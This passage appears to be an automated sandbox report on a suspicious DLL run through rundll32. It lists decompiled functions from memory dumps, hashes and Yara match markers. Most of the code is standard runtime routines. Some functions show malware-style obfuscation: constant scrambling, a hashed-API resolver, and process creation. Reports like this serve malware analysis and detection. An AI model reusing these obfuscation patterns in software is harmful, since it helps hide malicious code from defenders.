GetLastError.KERNEL32 ref: 6E7C072B
__dosmaperr.LIBCMT ref: 6E7C0732
GetLastError.KERNEL32(?,?,?,?), ref: 6E7C076C
__dosmaperr.LIBCMT ref: 6E7C0773

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 1b0f38f014dcd352ec06c0aca75e587dabba6d247e3419c38d8e041580b7c6f8
Instruction ID: f8215b7c76015ba0253a1d6a36fe334871fceb26dd86e760eb4429a68354cf94
Opcode Fuzzy Hash: 1b0f38f014dcd352ec06c0aca75e587dabba6d247e3419c38d8e041580b7c6f8
Instruction Fuzzy Hash: E0210AB1204605AF9F549FE5CE8489BB7BDFF00B687004A28F81897124E730EC808FD2

Uniqueness

Uniqueness Score: -1.00%

Function 6E7C57E6, Relevance: 6.0, APIs: 4, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E7C57E6(void* _a4, long _a8, DWORD* _a12) {
				void* _t13;

				_t13 = WriteConsoleW( *0x6e7facf0, _a4, _a8, _a12, 0);
				if(_t13 == 0 && GetLastError() == 6) {
					E6E7C57CF();
					E6E7C5791();
					_t13 = WriteConsoleW( *0x6e7facf0, _a4, _a8, _a12, _t13);
				}
				return _t13;
			}

0x6e7c5803
0x6e7c5807
0x6e7c5814
0x6e7c5819
0x6e7c5834
0x6e7c5834
0x6e7c583a

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,6E7C5197,?,00000001,?,?,?,6E7C4486,?,?,00000000), ref: 6E7C57FD
GetLastError.KERNEL32(?,6E7C5197,?,00000001,?,?,?,6E7C4486,?,?,00000000,?,?,?,6E7C4A0D,?), ref: 6E7C5809

Part of subcall function 6E7C57CF: CloseHandle.KERNEL32(FFFFFFFE,6E7C5819,?,6E7C5197,?,00000001,?,?,?,6E7C4486,?,?,00000000,?,?), ref: 6E7C57DF

___initconout.LIBCMT ref: 6E7C5819

Part of subcall function 6E7C5791: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6E7C57C0,6E7C5184,?,?,6E7C4486,?,?,00000000,?), ref: 6E7C57A4

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,6E7C5197,?,00000001,?,?,?,6E7C4486,?,?,00000000,?), ref: 6E7C582E

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 1d89ae91d9ba57284b8f8fb3e253f7aa83a803fa0f0e58793c449f87388f9d45
Instruction ID: 7881ed81d9d9946542db143cc93301f4ee2abbca7a92d46f867c53944e0a6cdf
Opcode Fuzzy Hash: 1d89ae91d9ba57284b8f8fb3e253f7aa83a803fa0f0e58793c449f87388f9d45
Instruction Fuzzy Hash: BAF09836500615FFCF621FD5ED089897F6EFB0ABB1F054420FE1996124DA3298A0DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6E7C493F, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191
fileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E6E7C493F(signed int _a4, void* _a8, signed int _a12, intOrPtr _a16) {
				void* _v5;
				void* _v12;
				long _v16;
				signed int _v20;
				signed int _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				long _v44;
				char _v48;
				intOrPtr _v52;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t78;
				intOrPtr _t82;
				char _t83;
				signed char _t85;
				signed int _t87;
				signed int _t90;
				signed int _t92;
				signed int _t95;
				signed int _t96;
				signed int _t101;
				signed int _t104;
				signed int _t108;
				intOrPtr _t113;
				signed int _t114;
				intOrPtr _t117;
				signed int _t119;
				struct _OVERLAPPED* _t120;
				signed int _t123;
				signed int _t124;
				signed int _t127;
				struct _OVERLAPPED* _t129;
				void* _t132;

				_t114 = _a12;
				_t78 = _a8;
				_v12 = _t78;
				_v16 = _t114;
				_t113 = _a16;
				_t124 = _a4;
				if(_t114 == 0) {
					L36:
					__eflags = 0;
					return 0;
				}
				if(_t78 != 0) {
					_t127 = _t124 >> 6;
					_t123 = (_t124 & 0x0000003f) * 0x38;
					_v20 = _t127;
					_t82 =  *((intOrPtr*)(0x6e7fb5e0 + _t127 * 4));
					_v52 = _t82;
					_v24 = _t123;
					_t83 =  *((intOrPtr*)(_t123 + _t82 + 0x29));
					_v5 = _t83;
					__eflags = _t83 - 2;
					if(_t83 == 2) {
						L6:
						_t85 =  !_t114;
						__eflags = _t85 & 0x00000001;
						if((_t85 & 0x00000001) == 0) {
							goto L2;
						}
						L7:
						_t129 = 0;
						__eflags =  *(_t123 + _v52 + 0x28) & 0x00000020;
						if(__eflags != 0) {
							E6E7C515B(_t124, 0, 0, 2, _t113);
							_t132 = _t132 + 0x14;
						}
						_t90 = E6E7C44C3(_t114, _t123, __eflags, _t124, _t113);
						__eflags = _t90;
						if(_t90 == 0) {
							_t117 =  *((intOrPtr*)(0x6e7fb5e0 + _v20 * 4));
							_t92 = _v24;
							__eflags =  *((char*)(_t92 + _t117 + 0x28));
							if( *((char*)(_t92 + _t117 + 0x28)) >= 0) {
								asm("stosd");
								asm("stosd");
								asm("stosd");
								_t95 = WriteFile( *(_t92 + _t117 + 0x18), _v12, _v16,  &_v44, _t129);
								__eflags = _t95;
								if(_t95 == 0) {
									_v48 = GetLastError();
								}
								goto L26;
							}
							_t101 = _v5 - _t129;
							__eflags = _t101;
							if(_t101 == 0) {
								E6E7C4541( &_v48, _t124, _v12, _v16);
								L20:
								goto L13;
							}
							_t104 = _t101 - 1;
							__eflags = _t104;
							if(_t104 == 0) {
								_t103 = E6E7C4705( &_v48, _t124, _v12, _v16);
								goto L20;
							}
							__eflags = _t104 != 1;
							if(_t104 != 1) {
								goto L32;
							}
							_t103 = E6E7C461C( &_v48, _t124, _v12, _v16);
							goto L20;
						} else {
							_t108 = _v5;
							__eflags = _t108;
							if(_t108 == 0) {
								_t103 = E6E7C4089( &_v48, _t124, _v12, _v16, _t113);
								L13:
								L26:
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t96 = _v32;
								__eflags = _t96;
								if(_t96 != 0) {
									_t77 =  &_v28; // 0x6e7c27ee
									return _t96 -  *_t77;
								}
								_t87 = _v36;
								__eflags = _t87;
								if(_t87 == 0) {
									_t129 = 0;
									__eflags = 0;
									L32:
									_t119 = _v24;
									_t87 =  *(0x6e7fb5e0 + _v20 * 4);
									__eflags =  *(_t119 + _t87 + 0x28) & 0x00000040;
									if(( *(_t119 + _t87 + 0x28) & 0x00000040) == 0) {
										L34:
										 *((char*)(_t113 + 0x1c)) = 1;
										 *((intOrPtr*)(_t113 + 0x18)) = 0x1c;
										 *((char*)(_t113 + 0x24)) = 1;
										 *(_t113 + 0x20) = _t129;
										L3:
										return _t87 | 0xffffffff;
									}
									_t87 = _v12;
									__eflags =  *_t87 - 0x1a;
									if( *_t87 == 0x1a) {
										goto L36;
									}
									goto L34;
								}
								_t120 = 5;
								__eflags = _t87 - _t120;
								if(_t87 != _t120) {
									_t87 = E6E7BF8D8(_t87, _t113);
								} else {
									 *((char*)(_t113 + 0x1c)) = 1;
									 *((intOrPtr*)(_t113 + 0x18)) = 9;
									 *((char*)(_t113 + 0x24)) = 1;
									 *(_t113 + 0x20) = _t120;
								}
								goto L3;
							}
							__eflags = _t108 - 1 - 1;
							if(_t108 - 1 > 1) {
								goto L32;
							}
							E6E7C445B( &_v48, _v12, _v16);
							goto L13;
						}
					}
					__eflags = _t83 - 1;
					if(_t83 != 1) {
						goto L7;
					}
					goto L6;
				}
				L2:
				 *((char*)(_t113 + 0x24)) = 1;
				 *(_t113 + 0x20) = 0;
				 *((char*)(_t113 + 0x1c)) = 1;
				 *((intOrPtr*)(_t113 + 0x18)) = 0x16;
				_t87 = E6E7C04A5(_t124, _t127, 0, 0, 0, 0, 0, _t113);
				goto L3;
			}

0x6e7c4947
0x6e7c494a
0x6e7c494d
0x6e7c4950
0x6e7c4954
0x6e7c4959
0x6e7c495e
0x6e7c4b38
0x6e7c4b38
0x00000000
0x6e7c4b38
0x6e7c4966
0x6e7c4999
0x6e7c499c
0x6e7c499f
0x6e7c49a2
0x6e7c49a9
0x6e7c49ac
0x6e7c49af
0x6e7c49b3
0x6e7c49b6
0x6e7c49b8
0x6e7c49be
0x6e7c49c0
0x6e7c49c2
0x6e7c49c4
0x00000000
0x00000000
0x6e7c49c6
0x6e7c49c9
0x6e7c49cb
0x6e7c49d0
0x6e7c49d8
0x6e7c49dd
0x6e7c49dd
0x6e7c49e2
0x6e7c49e9
0x6e7c49eb
0x6e7c4a30
0x6e7c4a37
0x6e7c4a3a
0x6e7c4a3f
0x6e7c4a99
0x6e7c4a9b
0x6e7c4a9c
0x6e7c4aa8
0x6e7c4aae
0x6e7c4ab0
0x6e7c4ab8
0x6e7c4ab8
0x00000000
0x6e7c4abb
0x6e7c4a45
0x6e7c4a45
0x6e7c4a47
0x6e7c4a89
0x6e7c4a67
0x00000000
0x6e7c4a67
0x6e7c4a49
0x6e7c4a49
0x6e7c4a4c
0x6e7c4a77
0x00000000
0x6e7c4a77
0x6e7c4a4e
0x6e7c4a51
0x00000000
0x00000000
0x6e7c4a62
0x00000000
0x6e7c49ed
0x6e7c49ed
0x6e7c49f0
0x6e7c49f2
0x6e7c4a23
0x6e7c4a10
0x6e7c4abe
0x6e7c4ac1
0x6e7c4ac2
0x6e7c4ac3
0x6e7c4ac4
0x6e7c4ac7
0x6e7c4ac9
0x6e7c4b33
0x00000000
0x6e7c4b33
0x6e7c4acb
0x6e7c4ace
0x6e7c4ad0
0x6e7c4afe
0x6e7c4afe
0x6e7c4b00
0x6e7c4b03
0x6e7c4b06
0x6e7c4b0d
0x6e7c4b12
0x6e7c4b1c
0x6e7c4b1c
0x6e7c4b20
0x6e7c4b27
0x6e7c4b2b
0x6e7c498a
0x00000000
0x6e7c498a
0x6e7c4b14
0x6e7c4b17
0x6e7c4b1a
0x00000000
0x00000000
0x00000000
0x6e7c4b1a
0x6e7c4ad4
0x6e7c4ad5
0x6e7c4ad7
0x6e7c4af2
0x6e7c4ad9
0x6e7c4ad9
0x6e7c4add
0x6e7c4ae4
0x6e7c4ae8
0x6e7c4ae8
0x00000000
0x6e7c4ad7
0x6e7c49f6
0x6e7c49f8
0x00000000
0x00000000
0x6e7c4a08
0x00000000
0x6e7c4a0d
0x6e7c49eb
0x6e7c49ba
0x6e7c49bc
0x00000000
0x00000000
0x00000000
0x6e7c49bc
0x6e7c4968
0x6e7c496a
0x6e7c4972
0x6e7c4976
0x6e7c497b
0x6e7c4982
0x00000000

APIs

Part of subcall function 6E7C4089: GetConsoleOutputCP.KERNEL32(4E6749C0,?,00000000,?), ref: 6E7C40EC

WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,00000000,?,?,00000000,?,?,6E7C27EE,?), ref: 6E7C4AA8
GetLastError.KERNEL32(?,6E7C27EE,?,}&|n,00000000,?,00000000,6E7C267D,?,00000000,00000000,6E7F8248,0000002C,6E7C26EE,?), ref: 6E7C4AB2

Strings

'|n, xrefs: 6E7C4B33

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID: '|n
API String ID: 2915228174-1071459254
Opcode ID: 0971552eb33c02b6a72ebaf924f18c7f2277375c292bc340f766bcaec36ad487
Instruction ID: 81a6493237e856292d3bf229cd90605ac1c66dbddc35ad8d9c1ca0193846b35e
Opcode Fuzzy Hash: 0971552eb33c02b6a72ebaf924f18c7f2277375c292bc340f766bcaec36ad487
Instruction Fuzzy Hash: 4E61B1B1D04159AEDF01CFE9CA44FDEBBBDAF0AB08F004055E814A7261E331D946EB66

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BD3E0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E6E7BD3E0(void* __ecx, void* __edx, signed char* _a4, signed char* _a8, intOrPtr _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				signed int _v8;
				signed int _v12;
				intOrPtr* _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				signed int _v36;
				void* _v40;
				intOrPtr _v44;
				signed int _v48;
				intOrPtr _v56;
				void _v60;
				signed char* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t74;
				void* _t75;
				char _t76;
				signed char _t78;
				signed int _t80;
				signed char* _t81;
				signed int _t82;
				signed int _t83;
				intOrPtr* _t87;
				void* _t90;
				signed char* _t93;
				intOrPtr* _t96;
				signed char _t97;
				intOrPtr _t98;
				intOrPtr _t99;
				intOrPtr* _t101;
				signed int _t102;
				signed int _t103;
				signed char _t108;
				signed char* _t111;
				signed int _t112;
				void* _t113;
				signed char* _t116;
				void* _t121;
				signed int _t123;
				void* _t130;
				void* _t131;

				_t110 = __edx;
				_t100 = __ecx;
				_t96 = _a4;
				if( *_t96 == 0x80000003) {
					return _t74;
				} else {
					_push(_t121);
					_push(_t113);
					_t75 = E6E7BCCF1(_t96, __ecx, __edx, _t113, _t121);
					if( *((intOrPtr*)(_t75 + 8)) != 0) {
						__imp__EncodePointer(0);
						_t121 = _t75;
						if( *((intOrPtr*)(E6E7BCCF1(_t96, __ecx, __edx, 0, _t121) + 8)) != _t121 &&  *_t96 != 0xe0434f4d &&  *_t96 != 0xe0434352) {
							_t87 = E6E7BC537(__edx, 0, _t121, _t96, _a8, _a12, _a16, _a20, _a28, _a32);
							_t130 = _t130 + 0x1c;
							if(_t87 != 0) {
								L16:
								return _t87;
							}
						}
					}
					_t76 = _a20;
					_v24 = _t76;
					_v20 = 0;
					if( *((intOrPtr*)(_t76 + 0xc)) > 0) {
						_push(_a28);
						E6E7BC46A(_t96, _t100, 0, _t121,  &_v40,  &_v24, _a24, _a16, _t76);
						_t112 = _v36;
						_t131 = _t130 + 0x18;
						_t87 = _v40;
						_v16 = _t87;
						_v8 = _t112;
						if(_t112 < _v28) {
							_t102 = _t112 * 0x14;
							_v12 = _t102;
							do {
								_t103 = 5;
								_t90 = memcpy( &_v60,  *((intOrPtr*)( *_t87 + 0x10)) + _t102, _t103 << 2);
								_t131 = _t131 + 0xc;
								if(_v60 <= _t90 && _t90 <= _v56) {
									_t93 = _v44 + 0xfffffff0 + (_v48 << 4);
									_t108 = _t93[4];
									if(_t108 == 0 ||  *((char*)(_t108 + 8)) == 0) {
										if(( *_t93 & 0x00000040) == 0) {
											_push(0);
											_push(1);
											E6E7BCFB6(_t112, _t96, _a8, _a12, _a16, _a20, _t93, 0,  &_v60, _a28, _a32);
											_t112 = _v8;
											_t131 = _t131 + 0x30;
										}
									}
								}
								_t112 = _t112 + 1;
								_t87 = _v16;
								_t102 = _v12 + 0x14;
								_v8 = _t112;
								_v12 = _t102;
							} while (_t112 < _v28);
						}
						goto L16;
					}
					E6E7BF563(_t96, _t100, _t110, 0, _t121);
					asm("int3");
					_t111 = _v68;
					_push(_t96);
					_push(_t121);
					_push(0);
					_t78 = _t111[4];
					if(_t78 == 0) {
						L41:
						_t80 = 1;
					} else {
						_t101 = _t78 + 8;
						if( *_t101 == 0) {
							goto L41;
						} else {
							_t116 = _a4;
							if(( *_t111 & 0x00000080) == 0 || ( *_t116 & 0x00000010) == 0) {
								_t97 = _t116[4];
								_t123 = 0;
								if(_t78 == _t97) {
									L33:
									if(( *_t116 & 0x00000002) == 0 || ( *_t111 & 0x00000008) != 0) {
										_t81 = _a8;
										if(( *_t81 & 0x00000001) == 0 || ( *_t111 & 0x00000001) != 0) {
											if(( *_t81 & 0x00000002) == 0 || ( *_t111 & 0x00000002) != 0) {
												_t123 = 1;
											}
										}
									}
									_t80 = _t123;
								} else {
									_t59 = _t97 + 8; // 0x6e
									_t82 = _t59;
									while(1) {
										_t98 =  *_t101;
										if(_t98 !=  *_t82) {
											break;
										}
										if(_t98 == 0) {
											L29:
											_t83 = _t123;
										} else {
											_t99 =  *((intOrPtr*)(_t101 + 1));
											if(_t99 !=  *((intOrPtr*)(_t82 + 1))) {
												break;
											} else {
												_t101 = _t101 + 2;
												_t82 = _t82 + 2;
												if(_t99 != 0) {
													continue;
												} else {
													goto L29;
												}
											}
										}
										L31:
										if(_t83 == 0) {
											goto L33;
										} else {
											_t80 = 0;
										}
										goto L42;
									}
									asm("sbb eax, eax");
									_t83 = _t82 | 0x00000001;
									goto L31;
								}
							} else {
								goto L41;
							}
						}
					}
					L42:
					return _t80;
				}
			}

0x6e7bd3e0
0x6e7bd3e0
0x6e7bd3e7
0x6e7bd3f0
0x6e7bd50f
0x6e7bd3f6
0x6e7bd3f6
0x6e7bd3f7
0x6e7bd3f8
0x6e7bd402
0x6e7bd405
0x6e7bd40b
0x6e7bd415
0x6e7bd43a
0x6e7bd43f
0x6e7bd444
0x6e7bd50b
0x00000000
0x6e7bd50c
0x6e7bd444
0x6e7bd415
0x6e7bd44a
0x6e7bd44d
0x6e7bd450
0x6e7bd456
0x6e7bd45c
0x6e7bd46e
0x6e7bd473
0x6e7bd476
0x6e7bd479
0x6e7bd47c
0x6e7bd47f
0x6e7bd485
0x6e7bd48b
0x6e7bd48e
0x6e7bd491
0x6e7bd4a0
0x6e7bd4a1
0x6e7bd4a1
0x6e7bd4a6
0x6e7bd4b9
0x6e7bd4bb
0x6e7bd4c0
0x6e7bd4cb
0x6e7bd4cd
0x6e7bd4cf
0x6e7bd4eb
0x6e7bd4f0
0x6e7bd4f3
0x6e7bd4f3
0x6e7bd4cb
0x6e7bd4c0
0x6e7bd4f9
0x6e7bd4fa
0x6e7bd4fd
0x6e7bd500
0x6e7bd503
0x6e7bd506
0x6e7bd491
0x00000000
0x6e7bd485
0x6e7bd510
0x6e7bd515
0x6e7bd519
0x6e7bd51c
0x6e7bd51d
0x6e7bd51e
0x6e7bd51f
0x6e7bd524
0x6e7bd59c
0x6e7bd59e
0x6e7bd526
0x6e7bd526
0x6e7bd52c
0x00000000
0x6e7bd52e
0x6e7bd531
0x6e7bd534
0x6e7bd53b
0x6e7bd53e
0x6e7bd542
0x6e7bd574
0x6e7bd577
0x6e7bd57e
0x6e7bd584
0x6e7bd58e
0x6e7bd597
0x6e7bd597
0x6e7bd58e
0x6e7bd584
0x6e7bd598
0x6e7bd544
0x6e7bd544
0x6e7bd544
0x6e7bd547
0x6e7bd547
0x6e7bd54b
0x00000000
0x00000000
0x6e7bd54f
0x6e7bd563
0x6e7bd563
0x6e7bd551
0x6e7bd551
0x6e7bd557
0x00000000
0x6e7bd559
0x6e7bd559
0x6e7bd55c
0x6e7bd561
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7bd561
0x6e7bd557
0x6e7bd56c
0x6e7bd56e
0x00000000
0x6e7bd570
0x6e7bd570
0x6e7bd570
0x00000000
0x6e7bd56e
0x6e7bd567
0x6e7bd569
0x00000000
0x6e7bd569
0x00000000
0x00000000
0x00000000
0x6e7bd534
0x6e7bd52c
0x6e7bd59f
0x6e7bd5a3
0x6e7bd5a3

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 6E7BD405

Strings

MOC, xrefs: 6E7BD417
RCC, xrefs: 6E7BD41F

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: c28ba591c9954a21eb764fcc38f6da8972207d9896fb6c89a6af526b14c16fc0
Instruction ID: 20c843f54941a52af7925a845c3967b78219fdf5412296c6f9b3271430a57c81
Opcode Fuzzy Hash: c28ba591c9954a21eb764fcc38f6da8972207d9896fb6c89a6af526b14c16fc0
Instruction Fuzzy Hash: BF418C71900209AFDF05CFD4CE81ADE7BB9BF48304F148069FA04AB220D335A951DF56

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 6932 Parent PID: 6908 rundll32.exeCOMMON

Executed Functions

Function 0102505F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0102505F() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t29;

				_v12 = 0xab28db;
				_v12 = _v12 * 0xb;
				_v12 = _v12 | 0x438b2011;
				_v12 = _v12 ^ 0x47dfe9f9;
				_v8 = 0x2279c5;
				_v8 = _v8 * 0x7e;
				_v8 = _v8 << 5;
				_v8 = _v8 ^ 0x1ef6af05;
				_v16 = 0x91523b;
				_v16 = _v16 ^ 0x417bd16a;
				_v16 = _v16 ^ 0x41eb784b;
				E01030A93(0x9aad6eb1, 0x12d, _t29, _t29, 0x97da6f6d);
				ExitProcess(0);
			}

0x01025065
0x0102507c
0x01025084
0x0102508b
0x01025092
0x0102509d
0x010250a0
0x010250a4
0x010250ab
0x010250b2
0x010250b9
0x010250c9
0x010250d3

APIs

ExitProcess.KERNEL32(00000000), ref: 010250D3

Strings

KxA, xrefs: 010250B9

Memory Dump Source

Source File: 00000003.00000002.913568790.0000000001020000.00000040.00000010.sdmp, Offset: 01020000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID: KxA
API String ID: 621844428-223459762
Opcode ID: 72bf4aae16cd11734e86aa57fe45557da35340bda08c7e5569cc87c1b667450f
Instruction ID: 2067447065171c8af86d48a50eed38db778f60b1212edddf3c42217939bad2f3
Opcode Fuzzy Hash: 72bf4aae16cd11734e86aa57fe45557da35340bda08c7e5569cc87c1b667450f
Instruction Fuzzy Hash: FF01F270D0520CFBCB48DFE9D94698DFFB4EB40304F218199E511A72A0D7702B959B05

Uniqueness

Uniqueness Score: -1.00%

Function 01022C3A, Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 38
stringCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E01022C3A(void* __ecx, WCHAR* __edx, intOrPtr _a4, WCHAR* _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t23;
				int _t29;
				WCHAR* _t33;

				_push(_a12);
				_t33 = __edx;
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E0102358A(_t23);
				_v16 = 0x4d9c80;
				_v16 = _v16 | 0xcc7fbb6c;
				_v16 = _v16 ^ 0xcc74081e;
				_v12 = 0xfa0b63;
				_v12 = _v12 | 0xd4c459ea;
				_v12 = _v12 ^ 0xd4f66af0;
				_v8 = 0x175dc5;
				_v8 = _v8 | 0x605a8863;
				_v8 = _v8 ^ 0x60557826;
				E01030A93(0xaea26b2f, 0x23c, __ecx, __ecx, 0x97da6f6d);
				_t29 = lstrcmpiW(_t33, _a8); // executed
				return _t29;
			}

0x01022c41
0x01022c44
0x01022c46
0x01022c49
0x01022c4c
0x01022c4d
0x01022c4e
0x01022c53
0x01022c5d
0x01022c64
0x01022c6b
0x01022c72
0x01022c79
0x01022c80
0x01022c87
0x01022c8e
0x01022caf
0x01022cbb
0x01022cc1

APIs

lstrcmpiW.KERNELBASE(?,CC74081E,?,?,?,?,?,?,?,?,00000000), ref: 01022CBB

Strings

&xU`, xrefs: 01022C8E

Memory Dump Source

Source File: 00000003.00000002.913568790.0000000001020000.00000040.00000010.sdmp, Offset: 01020000, based on PE: true

Yara matches

Similarity

API ID: lstrcmpi
String ID: &xU`
API String ID: 1586166983-1954668127
Opcode ID: 33fbf76182eafc49d529afff0049f42f4ee3fc7ed41e886679a16bb7a8d61cf5
Instruction ID: f3b89584ee3927cee3b6886da7e9b5414d468459def5257bbeb341edec07835a
Opcode Fuzzy Hash: 33fbf76182eafc49d529afff0049f42f4ee3fc7ed41e886679a16bb7a8d61cf5
Instruction Fuzzy Hash: C4011675D0125CBBDB04DFD5994A9DEBFB8EF44210F00C088E81966220D7759B119B95

Uniqueness

Uniqueness Score: -1.00%

Function 0102F66B, Relevance: 1.6, APIs: 1, Instructions: 74
processCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E0102F66B(WCHAR* __ecx, intOrPtr _a4, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, struct _STARTUPINFOW* _a40, struct _PROCESS_INFORMATION* _a44, intOrPtr _a48, int _a56, WCHAR* _a60) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t46;
				int _t57;
				signed int _t59;
				signed int _t60;
				WCHAR* _t67;

				_push(_a60);
				_t67 = __ecx;
				_push(_a56);
				_push(0);
				_push(_a48);
				_push(_a44);
				_push(_a40);
				_push(0);
				_push(0);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(0);
				_push(_a4);
				_push(0);
				_push(__ecx);
				E0102358A(_t46);
				_v12 = 0xe19ae5;
				_v12 = _v12 + 0xe09a;
				_t59 = 0x16;
				_v12 = _v12 * 0x55;
				_v12 = _v12 ^ 0x4b33a1b3;
				_v8 = 0x3d4fbd;
				_v8 = _v8 ^ 0xea855bbf;
				_t60 = 0x67;
				_v8 = _v8 / _t59;
				_v8 = _v8 ^ 0x0aa3a294;
				_v16 = 0x5e6fbc;
				_v16 = _v16 / _t60;
				_v16 = _v16 ^ 0x00005386;
				E01030A93(0xae3271c4, 0x240, _t60, _t60, 0x97da6f6d);
				_t57 = CreateProcessW(_t67, _a60, 0, 0, _a56, 0, 0, 0, _a40, _a44); // executed
				return _t57;
			}

0x0102f673
0x0102f678
0x0102f67a
0x0102f67d
0x0102f67e
0x0102f681
0x0102f684
0x0102f687
0x0102f688
0x0102f689
0x0102f68c
0x0102f68f
0x0102f692
0x0102f695
0x0102f698
0x0102f699
0x0102f69c
0x0102f69d
0x0102f69e
0x0102f6a3
0x0102f6ad
0x0102f6bc
0x0102f6bf
0x0102f6c2
0x0102f6c9
0x0102f6d0
0x0102f6dc
0x0102f6dd
0x0102f6e2
0x0102f6e9
0x0102f6fa
0x0102f6fd
0x0102f719
0x0102f733
0x0102f73a

APIs

CreateProcessW.KERNELBASE(2D09D167,?,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 0102F733

Memory Dump Source

Source File: 00000003.00000002.913568790.0000000001020000.00000040.00000010.sdmp, Offset: 01020000, based on PE: true

Yara matches

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 23bdea19f37545656c8519616df4547577199db0088a864ae2cd4e3c52a4600c
Instruction ID: f2bd30d18d5ac0c0f58aace090ed5580004b88e95a77fa4e4de13060115e7bc4
Opcode Fuzzy Hash: 23bdea19f37545656c8519616df4547577199db0088a864ae2cd4e3c52a4600c
Instruction Fuzzy Hash: 8B21F632901148FBDF15DF96CC0ACDFBFBAEB89700F008089FA1466260D7B69A60DB50

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: rundll32.exe PID: 6988 Parent PID: 6888 rundll32.exeCOMMON

Executed Functions

Function 003B505F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E003B505F() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t29;

				_v12 = 0xab28db;
				_v12 = _v12 * 0xb;
				_v12 = _v12 | 0x438b2011;
				_v12 = _v12 ^ 0x47dfe9f9;
				_v8 = 0x2279c5;
				_v8 = _v8 * 0x7e;
				_v8 = _v8 << 5;
				_v8 = _v8 ^ 0x1ef6af05;
				_v16 = 0x91523b;
				_v16 = _v16 ^ 0x417bd16a;
				_v16 = _v16 ^ 0x41eb784b;
				E003C0A93(0x9aad6eb1, 0x12d, _t29, _t29, 0x97da6f6d);
				ExitProcess(0);
			}

0x003b5065
0x003b507c
0x003b5084
0x003b508b
0x003b5092
0x003b509d
0x003b50a0
0x003b50a4
0x003b50ab
